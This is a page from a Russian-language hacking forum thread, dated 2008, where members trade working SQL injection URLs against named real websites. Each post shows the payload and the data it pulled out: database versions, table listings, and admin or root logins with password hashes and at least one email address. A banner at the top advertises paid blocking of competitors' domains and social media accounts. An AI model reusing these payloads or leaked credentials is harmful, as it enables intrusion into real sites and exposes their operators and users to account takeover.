SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 456 из 1602

456

Опции темы

Поиск в этой теме

Опции просмотра

31.01.2008, 16:27

vp$

Участник форума

Регистрация: 22.10.2007

Сообщений: 138

С нами: 9765139

Репутация: 177

Цитата:

http://www.stylepark.ru/site.php?pid=4000000+UNION+SELECT+1,concat_ws(0x3a ,login,password)+from+u58209_glg.dealers/*

dealer:051db1672e6974a5

Код:

17:cb_brends
17:--1:mid
17:--2:title
17:--3:logo
17:--4:descr
18:cb_catalog
18:--1:mid
18:--2:title
18:--3:articul
18:--4:color
18:--5:sizes
18:--6:contain
18:--7:package
18:--8:description
18:--9:foto_small
18:--10:foto_big
18:--11:brend
18:--12:newprod
19:cb_config
19:--1:email
19:--2:phone
19:--3:news_on_main
20:cb_gallery_albums
20:--1:parent
20:--2:name
20:--3:description
21:cb_gallery_images
21:--1:aid
21:--2:file
21:--3:name
21:--4:description
21:--5:alt
21:--6:sort
21:--7:cover
22:cb_menu
22:--1:pid
22:--2:title
22:--3:body
22:--4:modul
22:--5:ord
22:--6:_left
22:--7:_right
22:--8:_level
22:--9:protect
23:cb_menu_seq
24:cb_news
24:--1:mid
24:--2:title
24:--3:anons
24:--4:body
24:--5:date
25:about
25:--1:img1
25:--2:img2
25:--3:img3
25:--4:img4
25:--5:img5
25:--6:text
26:about_main
26:--1:img1
26:--2:img2
26:--3:img3
26:--4:img4
26:--5:img5
27:adv
27:--1:razdel_num
27:--2:head
27:--3:link_excel
27:--4:excel
27:--5:link_html
27:--6:html
27:--7:text
28:anons
28:--1:head
28:--2:img
28:--3:type
28:--4:text
28:--5:when
28:--6:visibility
29:asociate
29:--1:asociate_teacher
29:--2:asociate_to
29:--3:asociate_type
30:auth
30:--1:password
31:cons
31:--1:name
31:--2:email
31:--3:city
31:--4:message
31:--5:answer
31:--6:time
32:dealers
32:--1:login
32:--2:password
33:dealers_files
33:--1:name
33:--2:file
33:--3:text
34:fakultet
34:--1:fakultet_name
34:--2:fakultet_type
35:groupe
35:--1:groupe_name
35:--2:groupe_id_kaf

𝕏 Twitter Reddit Telegram Копировать ссылку

31.01.2008, 17:54

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

С нами: 9799586

Репутация: 1385

для bobob
возми для примера -
http://www.roskrup.ru/grain.html?goods=35'+order+by+1/*
http://www.roskrup.ru/grain.html?goods=35'+order+by+50/*

31.01.2008, 18:03

bobob

Участник форума

Регистрация: 02.06.2006

Сообщений: 241

С нами: 10495658

Репутация: 142

.Begemot., 159932, терь понял, сравнивать надо было существующие, меня глючит иногда! СПАСИБО!!!

31.01.2008, 20:09

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

С нами: 10065986

Репутация: 785

rentacarmm.com

Код HTML:

http://www.rentacarmm.com/?op=page&lan=BG+union+select+0,concat(user(),0x3a,version(),0x3a,database()),2/*&id=65

USER:car@localhost
VERSION:5.0.45-Debian_1-log
DATABASE:car

Код HTML:

http://www.rentacarmm.com/?op=page&lan=BG+union+select+0,table_name,2+from+information_schema.tables/*&id=65

Код HTML:

http://www.rentacarmm.com/?op=page&lan=BG+union+select+0,column_name,2+from+information_schema.columns/*&id=65

-----------------------------------------------
tercersector.net

Код HTML:

http://www.tercersector.net/php/general.php?seccio=sc_pubs&tipus=1+union+select+concat(USER(),0x3a,VERSION(),0x3a,DATABASE())/*&idioma=Cs

USER:delsur@pau.pangea.org
VERSION:4.0.24_Debian-10sarge3-log
DATABASE:otsweb
-----------------------------------------------
tecnocasa.hu

Код HTML:

http://www.tecnocasa.hu/cgi-bin/uj/fo.php?t=iroda&ID=-1+union+select+0,1,concat(USER(),0x3a,VERSION(),0x3a,DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*&PHPSESSID=29b0ba2892876c303128bb0626336391

USER:rkcsaGfm7@hm0
VERSION:5.0.32-Debian_7etch4-log
DATABASE:tecnocasa_hu

Код HTML:

http://www.tecnocasa.hu/cgi-bin/uj/fo.php?t=iroda&ID=-1+union+select+0,1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.tables/*&PHPSESSID=29b0ba2892876c303128bb0626336391

Код HTML:

http://www.tecnocasa.hu/cgi-bin/uj/fo.php?t=iroda&ID=-1+union+select+0,1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns/*&PHPSESSID=29b0ba2892876c303128bb0626336391

Код HTML:

http://www.tecnocasa.hu/cgi-bin/uj/fo.php?t=iroda&ID=-1+union+select+0,1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+where+table_name='district'+limit+1,10/*&PHPSESSID=29b0ba2892876c303128bb0626336391

- вывод всех названий колонок таблици district

31.01.2008, 21:02

~EviL~

Участник форума

Регистрация: 14.08.2007

Сообщений: 150

С нами: 9865044

Репутация: 205

http://tests.vratza.com/

Код HTML:

http://tests.vratza.com/material.php?id=11+UNION+SELECT+1,2,null,CONVERT(concat_ws(0x3a,version(),user(),database())+USING+LATIN1),5,6,7,8,9,10/*

5.0.18-Max:vratza@localhost:vratza_com_-_vratza

Код HTML:

http://tests.vratza.com/material.php?id=11+UNION+SELECT+1,2,null,CONVERT(table_name+USING+LATIN1),5,6,7,8,9,10+FROM+information_schema.tables/*

...
bulgariahouse_users
bulgariatour_users
dhc_users
inv_users
limestone_users
otc_users
phpads_clients
ptg_users
rcz_users
vik_users
visit_users
vratzata_users
...

Код HTML:

http://tests.vratza.com/material.php?id=11+UNION+SELECT+1,2,null,CONVERT(concat_ws(0x3a,user,pass)+USING+LATIN1),5,6,7,8,9,10+FROM+users/*

admin:1a443982b6068cd6f44624f324f4bd1e::bil274
hotfm:9bb312efb1c1d4e51e4c696b7626f00b

31.01.2008, 20:02

ElteRUS

Постоянный

Регистрация: 11.10.2007

Сообщений: 406

С нами: 9780227

Репутация: 1423

http://www.mediakuzbass.ru/news/index.php?id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user()),4,5,6/*

4.1.22/media/trakt@localhost
-----------------------------------------------------------------------------

http://www.mobd.ru/index.php?id=-1+union+select+1,concat_ws(0x2F,version(),database (),user()),3,4/*

4.0.25-log/wwwmobdru_mobdru_osc1/mobd@tux.hc.ru
-----------------------------------------------------------------------------
fisinter.ru

http://fisinter.ru/nametip20060207/nametip.htm?lang=de&name=335&tip=-1)+union+select+1,concat_ws(0x2F,version(),databas e(),user()),3/*

5.0.15-standard-log/KmUtfDe/db@localhost

http://fisinter.ru/nametip20060207/nametip.htm?lang=de&name=335&tip=-1)+union+select+1,concat_ws(0x2F,user,Password),3+ from+mysql.user/*

юзер/хеш
root/39d3d1360b2b23b0
--------------------------------------------------------------------------
novoport.ru

http://www.novoport.ru/news.php?id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user()),4,5,6/*

4.0.24_Debian-10sarge2/nvp/root@localhost

http://www.novoport.ru/news.php?id=-1+union+select+1,2,concat_ws(0x2F,username,user_pa ssword,user_email),4,5,6+from+phpbb_users/*

логин/хеш/мейл
Admin/d4825e84f0ce065b97c2c0772f769f1a/admin2@novoport.ru

31.01.2008, 21:19

<Trash_man>

Новичок

Регистрация: 03.01.2008

Сообщений: 19

С нами: 9659517

Репутация: 45

Код:

http://edu.kzn.ru/russian/news/education_rf/id=-1+union+select+1,2,version(),4,5,database(),7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21/*

версия 4.0.21
database tatedu
user tatedu@localhost

01.02.2008, 20:03

<Trash_man>

Новичок

Регистрация: 03.01.2008

Сообщений: 19

С нами: 9659517

Репутация: 45

Цитата:

Сообщение от <Trash_man>

Код:

http://edu.kzn.ru/russian/news/education_rf/id=-1+union+select+1,2,version(),4,5,database(),7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21/*

версия 4.0.21
database tatedu
user tatedu@localhost

Вчера не было времени таблицы искать....
вот типо продолжение

Код:

http://edu.kzn.ru/russian/news/education_rf/id=-1+union+select+1,2,login,4,5,passwd,7,8,9,10,11,12,id,14,15,16,17,18,19,20,21+from+user/*

yarr:226d4a1166705006

31.01.2008, 22:00

razzzar

Участник форума

Регистрация: 16.06.2007

Сообщений: 107

С нами: 9948928

Репутация: 208

Код:

http://www.soaw.org/newswire_detail.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

soawatch@205.178.145.65:4.1.21:soaworg

Код:

http://dscripts.awardspace.com/scripts.php?id=-1+union+select+1,2,3,4,5,6,cast(concat_ws(0x3a,user(),version(),database())+as+binary),8,9,10,11,12,13/*&action=guide

dburhan_db@82.197.131.19:4.1.18-log:dburhan_db

Последний раз редактировалось razzzar; 01.02.2008 в 00:10.. Причина: одну и ту же скуль два раза нашел Ж)

#10

31.01.2008, 22:38

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

С нами: 9799586

Репутация: 1385

Цитата:

http://www.comingsoon.net/news/movienews.php?id=-37591+union+select+1/*

4.1.22
pr6
-----------------------------------------------------

Цитата:

http://www.roguegovernment.com/news.php?id=-4682+union+select+convert(concat(user,0x3a,passwor d,0x3a,host),binary),2,3,4,5,6+from+mysql.user/*

4.1.7
root:6aee13f5467031e6:localhost ((
-----------------------------------------------------
www.bulgariatour.org
5.0.18-Max

Цитата:

http://www.bulgariatour.org/index.php?site=whatnew&stl=11+union+select+1,2,3,c onvert(concat_ws(0x3a,admin,admin_pwl),binary),5,6 ,7,8+from+phpads_config/*&title=%CD%EE%E2%EE%F2%EE+%E2+%F1%E0%E9%F2%E0&lan g=bu

admin:*588D8374F5C7ED3D9D9E25022C999F40A371CB5B:bil274

Цитата:

http://www.bulgariatour.org/index.php?site=whatnew&stl=11+union+select+1,2,3,c onvert(concat_ws(0x3a,user,pass),binary),5,6,7,8+f rom+users/*&title=%CD%EE%E2%EE%F2%EE+%E2+%F1%E0%E9%F2%E0&lan g=bu

admin:1a443982b6068cd6f44624f324f4bd1e:bil274
hotfm:9bb312efb1c1d4e51e4c696b7626f00b

Последний раз редактировалось 159932; 31.01.2008 в 22:40..